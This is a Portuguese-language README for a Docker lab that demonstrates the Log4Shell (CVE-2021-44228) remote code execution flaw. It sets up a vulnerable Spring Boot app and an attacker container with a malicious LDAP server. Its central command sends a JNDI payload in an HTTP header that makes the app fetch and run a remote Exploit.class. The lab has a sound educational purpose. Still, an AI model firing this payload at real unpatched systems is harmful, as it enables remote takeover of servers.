Demonstração de Exploração da Vulnerabilidade Log4Shell (CVE-2021-44228)

Este projeto simula um cenário de ataque RCE através da vulnerabilidade Log4Shell na biblioteca Apache Log4j 2.

Componentes

1. vulnerable-app: Aplicação Spring Boot usando Log4j 2.14.1.
2. attacker: Contém servidor LDAP malicioso (marshalsec) e servidor HTTP que serve o arquivo malicioso Exploit.class.

Como executar

1. Iniciar o ambiente

Requer Docker e Docker Compose instalados.

docker compose up --build

Aguarde até que ambos os contêineres estejam prontos. vulnerable-app estará rodando na porta 8080.

2. Executar o ataque

Abra um novo terminal e envie uma requisição contendo o payload JNDI através do cabeçalho X-Api-Version:

curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/

3. Verificar o resultado

• Verifique os logs do contêiner vulnerable-app. Você verá a mensagem do payload registrada.
• Verifique os logs do contêiner attacker. Você verá a conexão LDAP redirecionada para o servidor HTTP.
• Confirmação do RCE: Verifique se o arquivo /tmp/pwned foi criado dentro do contêiner vulnerable-app:

docker exec -it vulnerable-app ls -la /tmp/pwned

Se o arquivo existir, significa que o código malicioso Exploit.class foi executado com sucesso!

Aviso

Este projeto é apenas para fins educacionais e de pesquisa em segurança. Não utilize para fins ilegais.